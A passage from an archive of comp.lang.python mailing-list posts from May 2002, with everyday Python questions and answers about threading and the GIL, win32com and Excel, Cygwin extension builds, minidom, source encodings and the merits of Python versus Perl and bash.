consensus nevertheless emerged regarding a great >> number of "measurements". > >It's possible that this consensus emerges as a result of training, rather >than as a result of any quality inherent in the wine. Or, on second >thoughts, both: An aspiring wine taster learns to recognise and appreciate >the very qualities that an expert has determined to be "good". To some >extent, the choice of these qualities is arbitrary, but once they've been >adequately described and considered authoritative, they can be recognised >and, to some extent, measured. Of course that says very little about whether >the tasters are recognising "quality", rather than "a quality". The latter >seems far more likely to me (which in no way undermines the value of refined >taste). It is also possible that all these are true, namely, rankings are influenced by inherent properties of the object being ranked, by circumstantial conditions of the person doing the ranking and by social conditions that have positive feedback on collective behavior. Generally we say it is subjective if the result varies a great deal depending on the personal circumstances; we say it is objective if it is quite uniform under most circumstances. Those rankings that are really objective usually turn out to be quantifiable and could be performed by machines. Those that cannot be measured often turn out to be not as objective as once believed. This is not a statement on the a priori dependency between objectivity and measurability, but rather a reflection on the unreliability of human beings as ranking machines. Huaiyu From peter at engcorp.com Fri May 17 19:05:22 2002 From: peter at engcorp.com (Peter Hansen) Date: Fri, 17 May 2002 19:05:22 -0400 Subject: no buffer space available error References: <83lmangql2.fsf@panacea.canonical.org> <3CE2F40E.DFB2C61B@engcorp.com> Message-ID: <3CE58CB2.365FCDD0@engcorp.com> sebastien wrote: > > Is there a way in python to have the same information as in netstat. I > could call netstat but it is a little bit slow. Don't think so. That's a lower level OS issue. Maybe some of the win32 stuff can do it. > The shutdown method : s.shutdown(2) for example > does not work with my socket. Is it ok to use it with non blocking > socket ? What does "not work" mean? I suggest posting an exception traceback, preferably with a tiny snippet from an interactive prompt session showing a subset of your code failing. I don't think it cares about non-blocking sockets, though I could be wrong, but I know it doesn't work with server sockets (i.e. the ones that are listening, not the sockets for each client connection that is accepted). We're past the edge of my expertise and knowledge here... sorry. -Peter From lac at strakt.com Sun May 12 20:22:56 2002 From: lac at strakt.com (Laura Creighton) Date: Mon, 13 May 2002 02:22:56 +0200 Subject: Zaurus and Python, a good combination In-Reply-To: Message from Gerhard =?iso-8859-15?Q?H=E4ring?= of "Mon, 13 May 2002 01:16:22 +0200." <20020512231621.GA9639@lilith.my-fqdn.de> References: <3CDEE799.5030306@earthlink.net> <20020512231621.GA9639@lilith.my-fqdn.de> Message-ID: <200205130022.g4D0MurW008051@theraft.strakt.com> > * Ron Stephens [2002-05-12 22:07 +0000]: > > Does anyone know if the Compaq IPAQ and PALM devices have command line > > interfaces? > > No keyboard, but the iPAQ has almost the same hardware as the Zaurus, > and I'm running opie on it, which is even binary compatible to the > Zaurus' Qtopia environment. If you want a keyboard: http://www.targus.com/accessories_pda.asp check out the stowaway keyboard. I've got one for my Palm, but there is one available for the IpaQ It's great. Laura Creighton From loewis at informatik.hu-berlin.de Fri May 31 04:51:52 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 31 May 2002 10:51:52 +0200 Subject: Embedding and threads ? In-Reply-To: <1022830475.893.17.camel@netgroup> References: <1022771667.689.136.camel@netgroup> <1022830475.893.17.camel@netgroup> Message-ID: Bo Lorentsen writes: > But I have to set the builtins explictly I lost track. How do you set the builtins, and why do you have to? > > That is not the case. There is one thread state per thread. All but > > one thread is blocked at any point in time (unless the other threads > > execute unrelated C code); those threads have their thread state > > preserved in a local variable at the point where they last executed > > BEGIN_ALLOW_THREADS. > So thread states can't run one in each fysical thread ! Most certainly they can. They surely do use physical operating system threads. However, many of the threads may be blocked waiting for the GIL. > I think this is a bit confusing, as I don't see how to use Python in > parallel from a threaded C/C++ application, or even how threads > would work internally in Python itself, except if this is a light > weight thread system. You can run Python in parallel with a C++ thread just fine. If two threads simultaneously want to execute Python code, one of the threads will block on the GIL. > But I will not be able to have two Python interpreter states running in > true parallel ? With a single processor, you cannot run *any* true threads in true parallel. On a multiprocessor system, yes, you currently cannot run two Python threads at the very same time. Regards, Martin From aahz at pythoncraft.com Tue May 28 23:33:56 2002 From: aahz at pythoncraft.com (Aahz) Date: 28 May 2002 23:33:56 -0400 Subject: multithreading References: <3ce7e613$0$3732@echo-01.iinet.net.au> <3CF43BA6.5020106@skippinet.com.au> Message-ID: In article <3CF43BA6.5020106 at skippinet.com.au>, Mark Hammond wrote: >Aahz wrote: >> In article , >> =?iso-8859-1?q?Fran=E7ois?= Pinard wrote: >>>[Aahz] >>> >>>>My response is that instead of trying to take advantage of the few >>>>atomic Python constructs, instead code defensively and always use >>>>thread-safe mechanisms for passing information. Because Python has a >>>>powerful and simple Queue, this is straightforward to accomplish. >>> >>>But abusing Queues for very simple things, a bit everywhere, might yield >>>code bloat, and impinge readability. This is a bit like if someone was >>>inviting everyone to abuse fixed point integer arithmetic all over as a >>>way to program defensively against floating point arithmetic. >> >> >> You're both misreading me and overstating your point, IMO. I completely >> agree that RLock() is a valuable and necessary tool for managing critical >> sections of code. However, I stand by my claim that Queue() should be >> the primary mechanism for passing data around. Getting the semantics of >> Event() and Semaphore() correct (not even talking about Condition() -- >> ) can be extremely difficult for all but the simplest cases, >> leading to application deadlock. >> >> Queue is both powerful and simple, and I therefore invoke Python's >> "There's Only One Way" principle. > >You can invoke whatever you like, but it doesn't change anything for >anyone else ;) If you really want to argue about it, go take it up with Tim; I am merely the acolyte. >I believe advocating the Queue module as the "one way" is naive. The >Queue module is very useful, and indeed has solved many threading >problems in an elegant way for me - however, in my experience, it has >been used in less than 50% of the times I have needed mutli-threaded >synchronization. Once again, I'm talking about data passing. If pure synchronization is what you're talking about, then Queue isn't necessarily relevant. However, I'd claim that once data passing is involved, you'd be hard-pressed to provide an example where what you used instead of Queue is significantly better. That's the whole point of the "One Way" paradigm -- use as few idioms as possible for the low-level solutions to save brain-power for the higher-order problems. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "In the end, outside of spy agencies, people are far too trusting and willing to help." --Ira Winkler From mhammond at skippinet.com.au Wed May 8 19:10:46 2002 From: mhammond at skippinet.com.au (Mark Hammond) Date: Wed, 08 May 2002 23:10:46 GMT Subject: wait() method of threading.Event() class References: <59e5b87.0205081451.69641041@posting.google.com> Message-ID: <3CD9B0A7.8010504@skippinet.com.au> Miranda Evans wrote: > Using: python 2.2, PythonWin environment, Windows 2000 O/S. > > Attempting to have a script handle the possibility that an event from > a COM object might fire within x seconds. Wanted to have the script > wait until either the event fired or x seconds elapsed (whichever > comes first.) Thought this might be a good candidate for the > threading.Event class. > > test.py: > > import win32com.client > import threading > testev = threading.Event() > class xlEvents: > def OnSheetBeforeDoubleClick(self, sh, Target, cancel): > testev.set() > > def driver(): > xl = win32com.client.DispatchWithEvents("Excel.Application", > xlEvents) > xl.Visible=1 > xl.Workbooks.Add() > # wait up to 30 seconds (assumes wait ends if testev is set in < 30 > secs) > testev.wait(30) > if testev.isSet(): Unfortunately, COM's threading model bites here. I suggest reading "Python Programming on Win32" for a fairly good COM threading model and how it relates to Python description. Check out win32com\test\testMSOfficeEvents.py. It does a simple: if msvcrt.kbhit(): msvcrt.getch() pythoncom.PumpWaitingMessage() loop. Another (better) alternative would be win32event.MsgWaitForMultipleObjects() - win32\Demos\timer_demo.py has an example of this style of loop, and I am sure others would turn up. Mark. From peter at engcorp.com Mon May 6 23:41:09 2002 From: peter at engcorp.com (Peter Hansen) Date: Mon, 06 May 2002 23:41:09 -0400 Subject: Readable Perl (was Re: Python vs. Perl, which is better to learn?) References: <3CD60E05.D9D8C1A6@engcorp.com> <3CD623A7.4EE48B14@engcorp.com> <3CD71B64.3A1E5614@engcorp.com> Message-ID: <3CD74CD5.68615FB@engcorp.com> Christopher Browne wrote: > > In an attempt to throw the authorities off his trail, Peter Hansen transmitted: > > But it is very impressive, for Perl code. My compliments to > > the author. Any perceived lack of readability is clearly the > > language's (and reader's) fault, not the author's. > > The author used to be a Common Lisp hacker, who wrote rather a lot of > XEmacs, and was also heavily involved in the port of Mozilla to Unix, > many moons ago. Older versions of Netscape Navigator/Communicator > support the "about:jwz" URL/URN, which might link you somewhere > interesting... I happen still to use 4.79, but unfortunately that links to a page which says "Not Found. The requested object does not exist on this server. The link you followed is either outdated, inaccurate, or the server has been instructed not to let you have it." I'm sure Google would do a little better. :-) -Peter From martin at v.loewis.de Mon May 20 17:00:04 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 20 May 2002 23:00:04 +0200 Subject: xml.dom.minidom question References: <20020520150547604+0200@bondi.mine.nu> Message-ID: John writes: > How would I have to change getText to accomplish that? You need to make this algorithm recursive: def getText(nodelist): rc = "" for node in nodelist: if node.nodeType == node.TEXT_NODE: rc = rc + node.data if node.nodeType == node.ELEMENT_NODE: # added this rc = rc + getText(node.childNodes) return rc Notice that adding strings like this can become a performance issue; it might be better to collect the pieces in a list, and then use string.join to flatten the list. HTH, Martin From claird at starbase.neosoft.com Tue May 14 18:45:41 2002 From: claird at starbase.neosoft.com (Cameron Laird) Date: 14 May 2002 17:45:41 -0500 Subject: expect References: Message-ID: <5D609F5E88DBA168.FC7EB05A04C535B2.125722954CBD2135@lp.airnews.net> In article , Hardy Merrill wrote: >I had the hardest time finding good documentation for expect, >and I must say I still haven't found any "good" documenation. >I didn't find the manpage very useful, and since I couldn't >find any good docs online, I resorted to buying the book >"Exploring Expect" by Libes (O'Reilly) - but my review of >that book isn't much better. But it does have *some* useful >information in there. > >I'd be interested to know if anyone else has found any good >docs on expect. . . . Are we talking about Expect, as the book documents it, or the Python expect module, or some platonic expect which presumably underlies both? I'm wildly enthusiastic about *Exploring Expect*. I find it superlative, in several regards. On the other hand, Don Libes and I disagree on other matters, so I'm willing at least to consider the possibility that your negative review of the book is more accurate than laudatory one. In any case, all the other worthwhile information on the (Tcl-oriented) Expect should be available through . I doubt that anything there, though, will meet your threshold for "good docs". -- Cameron Laird Business: http://www.Phaseit.net Personal: http://starbase.neosoft.com/~claird/home.html From merman at freenet.de Sat May 18 08:28:31 2002 From: merman at freenet.de (merman) Date: Sat, 18 May 2002 14:28:31 +0200 Subject: newbie-question: overloading methods Message-ID: <3ce645b7$0$23712$9b622d9e@news.freenet.de> Hi, is there a way to overload methods like in C++ or Java? Thanx for help. Thomas From martin at v.loewis.de Sun May 19 15:43:56 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 19 May 2002 21:43:56 +0200 Subject: Merits of replacing bash with python References: Message-ID: "Kevin Davies" writes: > I am pretty new to python and am looking for some good reasons to > replace bash with python. > > I can see already that python is pretty much executable pseudocode and > is OO. > > Can anyone give further insight? For writing scripts, I'd give the following reasons why writing Python is better than writing bash: - more stuff is built-in; you don't need to create new processes - execution of Python code is faster than bash's interpretation - Python gives better error messages in case of problems - Python exposes system functionality that might not be available as a utility (e.g. newgrp to a numeric group) - Python exposes additional libraries not available in shell (sockets, GUIs, dbm, etc) For interactive use, I would not recommend to replace bash (except, perhaps, with zsh :-) Regards, Martin From rpinder at usc.edu Fri May 17 16:50:37 2002 From: rpinder at usc.edu (Rich Pinder) Date: Fri, 17 May 2002 13:50:37 -0700 Subject: Python 2.2.1 Windows / install variables ? References: <3CDE7290.3E28D9BD@usc.edu> <3CDE93AB.4E4607D0@usc.edu> <3CDEB9F4.3307092E@usc.edu> <3CDEF6AF.7030802@skippinet.com.au> <3CE050D5.A04790B1@usc.edu> <3CE08209.9040908@skippinet.com.au> <3CE10A46.A779860F@usc.edu> Message-ID: <3CE56D1D.F65AC934@usc.edu> Indeed! I just found this out, then checked to find your post here Thomas! My mistake - sorry for all the wasted bytes. Rich Thomas Heller wrote: > Hm. You are using Python 2.2? > > In an earlier message you wrote > > 05/11/2002 08:29p 888,416 PyXML-0.7.1.win32-py2.1.exe > > 05/11/2002 08:47p 1,750,709 4Suite-0.11.1.win32-py2.1.exe > > 05/11/2002 09:03p 54,871 gvib-1.8.win32-py2.1.ex > > All these files are for Python 2.1 (or Python 2.1.x) > > Confused, > > Thomas From dryose at juno.com Mon May 20 11:13:43 2002 From: dryose at juno.com (yose) Date: 20 May 2002 08:13:43 -0700 Subject: Python (2.2) on Solaris 8 (64-bit) Message-ID: <79d1869.0205200713.324bee25@posting.google.com> I have not been successful at installing python 2.2 on my Sun running solaris 8. I am not sure I understand even what the problem has been. One symptom is that when I run python and then type "import socket" from the command-line prompt, I get an error about "_socket" not being found. Back to the install... after doing a "./configure" and "make" ("make install", too), I did a check with "make test" which FAILED. If anyone has any experience with Python (2.2) on a solaris 8 (64 bit) install, I would greatly appreciate the help! dryose at juno.com From chris at cmb-enterprises.com Mon May 6 12:31:16 2002 From: chris at cmb-enterprises.com (Chris) Date: Mon, 06 May 2002 12:31:16 -0400 Subject: Python vs. Perl, which is better to learn? References: Message-ID: In article , Anthony Baxter wrote: > >>> Roy Smith wrote > > So, a while ago, I started on a major Perl project of my own. Decided to > > do it right, with modules to do various tasks, OOP, etc. You know what? I > > still hate it. The language is certainly a lot better when you use good > > program design techniques, but it's still pretty ugly. > > That's pretty much the experience I had. Something like 10-12K LOC, all nice > and OO and packages and stuff, and I reckon around 25% of the code was > debugging to make sure that the wrong piece of line noise hadn't trashed > a data structure. > > That was the last perl I ever worked on, and I can't imagine that I'd ever > take a job that required I write or maintain perl ever again. Life's too > damn short. Should you ever find yoursef in that situation, this module might help: http://www.perlmonks.com/index.pl?node_id=102719 It allows for Perl6 style named arguments, and was written by one of that language's designers. From emile at fenx.com Thu May 30 15:12:00 2002 From: emile at fenx.com (Emile van Sebille) Date: Thu, 30 May 2002 19:12:00 GMT Subject: map document in walkable way... References: Message-ID: <4QuJ8.66904$352.4113@sccrnsc02> "Shagshag13" wrote in message news:ad5sj4$urrdt$1 at ID-146704.news.dfncis.de... > > I have document which contain lines : > > type 2 > type 1 > type 1 > type 2 > etc. > > I would like to create some kind of class that i could use to map my > document and use it in a walkable way : > > d = document(file) > for l in d: > if l.is_type1(): > do_something > elif l.is_type2(): > do_something_else > def do_something(d): pass def do_something_else(d): pass do_on_type = {'type 1':def do_something, 'type 2':def do_something_else} for l in d: do_on_type[l](d) flavor to reqs and HTH, -- Emile van Sebille emile at fenx.com --------- From loewis at informatik.hu-berlin.de Tue May 14 04:13:24 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 14 May 2002 10:13:24 +0200 Subject: Multibyte Character Surport for Python References: <877kmag92g.fsf@tleepslib.sk.tsukuba.ac.jp> <83g00vgo9c.fsf@panacea.canonical.org> Message-ID: Kragen Sitaker writes: > I don't fully understand all the issues here, but I don't think that > pointing out that Stephen is the only person who holds a particular > opinion necessarily suggests that he is wrong. I'm not suggesting that he is 'wrong'; this specific question (how to deal with source code encodings in programming languages) is not one that has a single object 'right' answer. Instead, it is a matter of judgement, based on criteria, which might be both technical and political. I'm just suggesting that few people seem to have the same criteria, or, atleast when applying them to the specific question, come to the same conclusion. > I believe Stephen is the only person here who regularly writes in a > language that is written in a non-Latin character set --- Japanese, > in his case. Also, although I am not certain of this, I think he > has worked on the internationalization support in XEmacs. Yes, I appreciate all that. > About providing users with options --- is it possible that these > options could mean I couldn't recompile your Python code if I don't > have code to support the particular encoding you wrote it in? Yes, that is the case. > How about cutting and pasting code between modules written in > different encodings, either in an editor that didn't support Unicode > or didn't support one of the encodings correctly? That is completely a matter of your editor. If the editor doesn't support one of your encodings, it cannot display the source code correctly. If so, there is a good chance that it couldn't display the source code correctly even if it had a different encoding. For IDLE, if the source is displayed correctly, you will certainly be able to copy arbitrary text. You may not be able to save the file in the specified encoding then, anymore, if you paste text that cannot be represented in that encoding. > About using "recode" to support existing e.g. ISO-8859-15 code. If I > am not mistaken, that code can presently only contain ISO-8859-15 > inside of byte strings and Unicode strings. Python 2.1 seems to > assume ISO-8859-1 for Unicode string contents. Would it be sufficient > to recode the contents of Unicode strings? I don't think I understand the question. Are you talking about the GNU recode utility? Python code can contain non-ASCII in byte strings literals, Unicode string literals, and comments. For recoding, all of those places need to be recoded, or else no editor in the world will be able to display the file correctly. Regards, Martin From aahz at pythoncraft.com Wed May 1 23:53:32 2002 From: aahz at pythoncraft.com (Aahz) Date: 1 May 2002 23:53:32 -0400 Subject: Python vs. Perl, which is better to learn? References: <82znzjsw6k.fsf@acropolis.localdomain> Message-ID: In article , Roy Smith wrote: > >>> * Something that encourages a different style of thinking. [Lisp] > >In that catagory, I would suggest PostScript. Most people just think of it >as a way to talk to printers. What they don't realize is that it's a real >programming language, with sophisticated flow control, data structures, >I/O, and memory management (in addition to the graphics and typography >support you would expect). > >Now, granted, I wouldn't want to use it as a general purpose programming >language, but if your goal is to expose yourself to different ways of >thinking about programming, PostScript is certainly worth exploring. And, >it starts with a "P" :-) Yeah, but I'd tell someone who wasn't particularly interested in printers per se to learn Forth instead. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "I used to have a .sig but I found it impossible to please everyone..." --SFJ From jeff at ccvcorp.com Wed May 15 15:15:57 2002 From: jeff at ccvcorp.com (Jeff Shannon) Date: Wed, 15 May 2002 12:15:57 -0700 Subject: A couple questions References: <5735eug1qqu1mn38s16svempcff7obqp7t@4ax.com> Message-ID: In article <5735eug1qqu1mn38s16svempcff7obqp7t at 4ax.com>, Gon?alo Rodrigues says... > Hi, just a couple a questions, > > 1. If I have a class as in > > class Somesuch(object): > > > in the __init__ method should I/must I call object.__init__? I am asking > this because in GvR's descintro, the object cass __init__ method is said > to be a no-op (it does nothing). If it's a no-op, then it makes no difference whether you call it or not. No need to bother with it. > 2. What is the pythonic way to traverse a list while modifying it? Put > in another way, is > > for i in range(len(mylist)): > > > safe or am I bound to use a while loop with an explicit counter? It is probably *not* safe if you are adding to / removing from mylist. If you're modifying values inplace, but not changing the length/ordering of the list, you should be okay. Thus, mylist = ['1', '2', '3'] for I in range(len(mylist)): mylist[I] = int(mylist[I]) is safe, though better done as a map/listcomp -- mylist = [int(a) for a in mylist] mylist = map(int, mylist) But mylist = [0, 0, 1, 2] for I in range(len(mylist)): a = mylist[I] if not a: mylist.remove(a) is not safe. The unsafeness has nothing to do with explicit integer indexing, either -- it's just as unsafe to do for a in mylist: if not a: mylist.remove(a) I'd usually do this sort of thing with a listcomp or with map/filter, but if you must use a for loop, then you can iterate over a copy of the list: for a in mylist[:]: if not a: mylist.remove(a) Equivalent versions: mylist = [a for a in mylist if a] mylist = filter(None, mylist) -- Jeff Shannon Technician/Programmer Credit International From rdsteph at earthlink.net Sun May 5 19:01:53 2002 From: rdsteph at earthlink.net (Ron Stephens) Date: Sun, 05 May 2002 23:01:53 GMT Subject: Python Cookbook (printed) References: <3cd472d2$0$8508$cc9e4d1f@news.dial.pipex.com> <3CD479DC.67155DE4@bellatlantic.net> Message-ID: <3CD581AF.2070202@earthlink.net> I'll be waitng in line to read it ;-))) But July is fine, and a better product is always worth the wait. Anyway, I need some more time to fully absorb Boudewijn Rempt's book on Gui programming with the QT Toolkit. By the way, Shawn Gordon is putting out feelers to see if there is enough demand to do a re-printing, as the Kompany has sold out of the first printing. My advice is that if for anyone interested in GUI programming, the book is well worth it. Especially if one is willing to buy the Black Adder GUI painter and IDE. Ron Stephens rdsteph at earthlink.net http://www.awaretek.com/plf.html From jepler at unpythonic.net Fri May 31 22:47:42 2002 From: jepler at unpythonic.net (jepler at unpythonic.net) Date: Fri, 31 May 2002 21:47:42 -0500 Subject: Generating unique numbers? In-Reply-To: References: <20020531195255.A2297@unpythonic.net> Message-ID: <20020531214742.B2544@unpythonic.net> On Fri, May 31, 2002 at 07:28:57PM -0700, Ken Seehof wrote: > Which brings us right back to my assertion that the original question > cannot be answered adequately without knowing the context. Presumably > if the application in question had the scope you are describing (we > don't even know if it's an internet application), VanL would have a team > of 40 expert programmers at $450K salaries solving the problem, so we are > off the hook :-) Yeah, but it was fun to try to ballpark the numbers. One thing I didn't mention in my earlier message is that 2**65 unique IDs is right around the number necessary to see birthday-paradox collisions in 128-bit hashes such as MD5 with p=0.5. Still very uncommon for a 160-bit hash like SHA, though. Jeff From rpm1deletethis at frontiernet.net Sat May 4 07:55:10 2002 From: rpm1deletethis at frontiernet.net (RPM1) Date: Sat, 4 May 2002 07:55:10 -0400 Subject: F2PY problems References: <3CD11924.1B4EAA0E@kfunigraz.ac.at> <3CD3C109.8DC3FB80@kfunigraz.ac.at> Message-ID: > > Is there an alternative to F2PY? Have you tried the LCC-Win32 web site? http://www.cs.virginia.edu/~lcc-win32/ It's a C compiler web site BUT there is also a Fortran compiler on the page. Good luck, Patrick From jason at tishler.net Mon May 6 09:48:06 2002 From: jason at tishler.net (Jason Tishler) Date: Mon, 06 May 2002 09:48:06 -0400 Subject: Creating C modules for Python under Cygwin In-Reply-To: <3CD5580C.763DEF76@wag.caltech.edu> References: <3CD41CC4.5752F30C@wag.caltech.edu> <20020505012402.GA2312@tishler.net> <3CD5580C.763DEF76@wag.caltech.edu> Message-ID: <20020506134805.GG1668@tishler.net> Rick, Please keep your replies on-list, so others can benefit too. On Sun, May 05, 2002 at 09:04:28AM -0700, Rick Muller wrote: > Jason, thanks for your reply. You are welcome. > Jason Tishler wrote: > > On Sat, May 04, 2002 at 10:39:16AM -0700, Richard P. Muller wrote: > > > I'm having trouble creating Python modules from C under Cygwin. The > > > process works fine under Linux, but I get a long list of undefined > > > references (to PyArg_ParseTuple, PyArg_BuildValue, etc.) when I try to > > > link under Cygwin. > > > > Are you using the Cygwin Python that is part of the standard Cygwin > > distribution? Or, one that you built yourself? The following assumes > > the former. > > That's correct, I'm using the cygwin module you built. > > > > > > I found a reference in an archive of a Cygwin mailing list that claims I > > > have to satisfy all of the undefined references under Cygwin. But it > > > seems silly to link in the entire Python library in a tiny little > > > module. > > > > I don't believe that the above implies linking the "entire Python > > library." Instead one just needs to link against the import library > > that corresponds to the Cygwin Python DLL core. This is exactly how it > > works for Win32 Python and other Windows DLLs too. > > > > Great. > > > Yes, use Distutils to build your shared extension. If you use this > > method, then the "right things" will happen automatically. > > I didn't realize that Distutils *could* build shared extensions. I'll > read up on them. > > > > > Otherwise, you need to do the following when building your shared > > extension: > > > > 1. during compilation specify -DUSE_DL_IMPORT > > > > 2. during linking specify -L/usr/lib/python2.2/config -lpython2.2 > > > > Jason > > Actually, I had to specify -L/usr/lib/python2.2/config -lpython2.2.dll. > Does this mean I did something dumb? Not dumb, but I don't understand the semantics of "-lpython2.2.dll". With the current (and even not so recent) Cygwin binutils, the "-lpython2.2" option means link with the first one of the following: 1. libpython2.2.dll.a 2. libpython2.2.a found in the library search path. What does "-lpython2.2.dll" mean? libpython2.2.dll.a? If so, then you should use "-lpython2.2" instead. libpython2.2.dll? If so, then you are linking directly against the DLL which should be avoided if the import library is available (which it is). > But in any case, it works beautifully now. Thanks very much for your > help! Good -- I'm glad that you solved your problem. Jason From shalehperry at attbi.com Thu May 16 12:55:19 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Thu, 16 May 2002 09:55:19 -0700 (PDT) Subject: how to determine an 'open' string? In-Reply-To: <20020516185040.I28033@prim.han.de> Message-ID: On 16-May-2002 holger krekel wrote: > Sean 'Shaleh' Perry wrote: >> > >> > what about >> > >> > '''"""'''argh"""'''""" >> > >> >:-) >> > >> >> what about it? I count 3 single qt triples and 3 double qt triples. 3 % 2 >> is >> not 0. > > but it should be 0. the string *is closed*. > heh, even I misparsed that when i read it (-: shucks. Guess you need a WHOLE LOT MORE code (-: Sounds like you get to do some real parsing of the code to see if it is sane. From fredrik at pythonware.com Mon May 20 14:45:39 2002 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 20 May 2002 18:45:39 GMT Subject: ScrolledText (over Tkinter.Text) validation References: <63604d2.0205200938.311b0a29@posting.google.com> Message-ID: "Phlip" wrote: > > I have liked to have intercepted the KeyPress event and removed > the character before it went in, but the 'event' object was one-way. > > Does anyone have a better method? the "Instance and Class Bindings" section on this page: http://www.pythonware.com/library/tkinter/introduction/events-and-bindings.htm discusses a similar case. the easiest solution is to return the string "break" from the event handler. (this prevents Tkinter from propagating the event back to the standard handler). From terjeja at hotmail.com Wed May 22 18:32:01 2002 From: terjeja at hotmail.com (Terje Johan Abrahamsen) Date: Wed, 22 May 2002 22:32:01 +0000 Subject: win32com Excel problem Message-ID: I am writing a little porgram that pulls out some info from a cell in Excel. It works great, excepy for when I try to pull out info from a spreadsheet that I want info from. Here is the code: import win32com.client import win32com.client.dynamic from win32com.client import Dispatch import sys class accountcurrents: xlApp = Dispatch("Excel.Application") #ex = Dispatch("Extra.System") xlApp.Visible = 1 xlApp.Workbooks.Add() xlBook = xlApp.Workbooks(1) xlSheet = xlApp.Sheets(1) xlrad = 2 xlpol = "Donald" xlamount = 1.00 xldato = "1/11/11" def __init__(self): print"Hello" def finnxlpolicy(self): accountcurrents.xlrad = accountcurrents.xlrad + 1 accountcurrents.xlpol = accountcurrents.xlSheet.Cells(accountcurrents.xlrad,1).Value if accountcurrents.xlpol == None : print "yes" else: pass If I have a blank spreadsheet, and fill in some values in the A collumn, it works great. However, when I use the spreadsheet that I actually want the info from, it all crashes. The spreadsheet I want the info from looks like this: Policy# Effective Date Amount MCK0259477 11/5/1998 240 MCK0278868 5/27/2001 -572.72 MCK0279107 1/14/2001 -1474.82 and so forth. This errormessage comes: Traceback (most recent call last): File "", line 1, in ? File "C:\Documents and Settings\dsporck\My Documents\Python\accountcurrents\accountcurrents.py", line 23, in finnxlpolicy accountcurrents.xlpol = accountcurrents.xlSheet.Cells(accountcurrents.xlrad,1).Value File "C:\Python22\Lib\site-packages\win32com\client\__init__.py", line 347, in __getattr__ return apply(self._ApplyTypes_, args) File "C:\Python22\Lib\site-packages\win32com\client\__init__.py", line 341, in _ApplyTypes_ return self._get_good_object_(apply(self._oleobj_.InvokeTypes, (dispid, 0, wFlags, retType, argTypes) + args), user, resultCLSID) com_error: (-2146827864, 'OLE error 0x800a01a8', None, None) I use win2k, and newest version of Python, PythonWin and Win32Com. I do not change anything except for the contents of the spreadsheet. Even if I just copy the info into the spreadsheet that normally works. Thanks in advance, Terje _________________________________________________________________ Chat with friends online, try MSN Messenger: http://messenger.msn.com From dalke at dalkescientific.com Fri May 10 11:00:26 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Fri, 10 May 2002 09:00:26 -0600 Subject: "a better input" References: <100520021026067657%pecora@anvil.nrl.navy.mil> Message-ID: Me: >> I suppose you're also going to tell me that >> [].append(1,2) no longer works? Louis M. Pecora: >This is a joke, right? :-) ? :-| ? :-( ? It's a joke in that I know it changed and that I know that feature was deprecated something like 8-10 years ago and that it was not documented as valid. Were I still using 1.5.2 it would work, but the likelihood of someone using that feature in pre-2.0 and realizing it might have been changed in newer releases without knowing it explicitly from reading the change log is, I think, quite small. As such, this limp joke was meant for people who know the history of changes in Python. And only people using pre-2.0 would be confused, since you can always try that line out to see what it says. It's not a joke in that multi-parameter append truely is no longer allowed. Andrew dalke at dalkescientific.com From googlegroups at sixtyten.org Sat May 4 16:56:15 2002 From: googlegroups at sixtyten.org (Allan Crooks) Date: 4 May 2002 13:56:15 -0700 Subject: Problem with Regular Expressions? Message-ID: <304d20df.0205041256.5230d2ae@posting.google.com> Hi, I was wondering if anyone could tell me if what I want to do is possible with a solitary single expression? I have a webpage that I want to process, which contains multiple 's. I want to find a particular table, which will contains a particular word. I want to be able to return each row in the table. The regular expression would probably have to match the entire table, with grouping needing to be used to capture each row. Only problem is that I'm not sure if it's possible to return every row that was captured within a group. As far as I can see, using findall() would return all the tables which matched the expression, but I wouldn't be able to find everything which matched a particular group. I can probably write a RE which would match the table I want, and then take the text that was matched, and then use another RE to extract all the rows. Question is, can this all be done in one go? Sorry if I'm bad at explaining what I mean, I shouldn't listen to music at the same time as typing. :) Thanks, Allan. From loewis at informatik.hu-berlin.de Tue May 7 08:34:53 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 07 May 2002 14:34:53 +0200 Subject: survey: is shelve broken? should it be fixed? References: Message-ID: Roman Suzi writes: > I think it is better to fix and not looking for backward compatibility! > It will not be seen on the background of other major changes to Python. > So, no smart is needed, IMHO. I disagree. The past tells us that great care is needed for backwards compatibility. I wouldn't call the feature 'smart', but rather describe somehow what it does, but I agree that it should be done through an optional parameter. Applications that use that feature need to explicitly declare that they do. Not specifying the parameter would might cause a DeprecationWarning. Then, after some time, the DeprecationWarning could be removed, and the default be changed. Regards, Martin From stuart at bmsi.com Tue May 7 13:51:45 2002 From: stuart at bmsi.com (Stuart D. Gathman) Date: Tue, 07 May 2002 13:51:45 -0400 Subject: sgmllib too slow References: <_FHB8.41355$YQ1.17953481@typhoon.southeast.rr.com> <3CD75081.317D7A5B@engcorp.com> Message-ID: On Mon, 06 May 2002 23:56:49 -0400, Peter Hansen wrote: > "Stuart D. Gathman" wrote: >> >> I've run into my very first situation where python is not "fast >> enough". I am using the sgmllib module to parse HTML attachments in a >> milter. The > > Other than finding that it's a male fish, I'm having trouble finding a > definition for that word. What's a milter? sendmail has an interprocess interface for mail filters which it calls 'milters'. The mail filters can be written in any desired language that can call the C language libmilter library. I maintain a Python wrapper for libmilter that lets you write milters in Python: http://www.bmsi.com/python/milter.html > Aren't there parsers already implemented in C ala expat which have > Python wrappers for this stuff? > > In the Vaults, I found these: http://py.vaults.ca/apyllo.py?find=sgml I am trying to stick with the standard batteries as much as possible for the benefit of others using my code. The best solution seems to be the drop-in replacement in C for sgmllib mentioned by other posters which I will try out ASAP: http://effbot.org/downloads/ -- Stuart D. Gathman Business Management Systems Inc. Phone: 703 591-0911 Fax: 703 591-6154 "Confutatis maledictis, flamis acribus addictis" - Mozart background song for the Microsoft "Where do you want to go from here?" commercial. From db3l at fitlinxx.com Thu May 30 22:32:40 2002 From: db3l at fitlinxx.com (David Bolen) Date: 30 May 2002 22:32:40 -0400 Subject: !!! 2.1, 2.2, 2.2.1, PYTHON BUGS ???? References: <3CF6C8BD.1B402746@bellatlantic.net> 